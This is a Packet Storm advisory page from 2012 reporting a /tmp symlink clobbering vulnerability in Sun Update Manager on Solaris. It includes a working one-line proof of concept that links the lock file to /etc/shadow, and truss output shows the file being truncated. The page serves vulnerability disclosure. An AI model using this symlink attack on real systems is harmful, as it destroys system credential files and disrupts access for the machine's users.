exploit the possibilities

Sun Update Manager /tmp Clobber

Sun Update Manager /tmp Clobber
Posted Jul 20, 2012
Authored by Larry W. Cashdollar

The Sun Update Manager suffers from a /tmp clobbering vulnerability.

tags | exploit
MD5 | 0160af41e98695cdfc1ac0a2858bf628

Sun Update Manager /tmp Clobber

Change Mirror Download
(author http://packetstormsecurity.org/user/lcashdol/)


Noticed this during routine patching.

/tmp file clobbering vulnerability in Sun Update manager.
7/15/2012

noticed this while patching my lab solaris system tonight.

larry@s0l4r1s:/tmp$ ln -s /etc/shadow com.sun.swup.client.LOCK

updatemanager is run

larry@n1caragua:/tmp$ ls -l /etc/shadow
-r-------- 1 root sys 0 Jul 19 18:49 /etc/shadow

SunOS s0l4r1s 5.10 Generic_147441-19 i86pc i386 i86pc
larry@n1caragua:~$

truss output:

4841/2: stat64("/tmp/com.sun.swup.client.LOCK", 0xD03FEAB0) = 0
4841/2: open64("/tmp/com.sun.swup.client.LOCK", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5


Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    5 Files
  • 4
    Aug 4th
    7 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close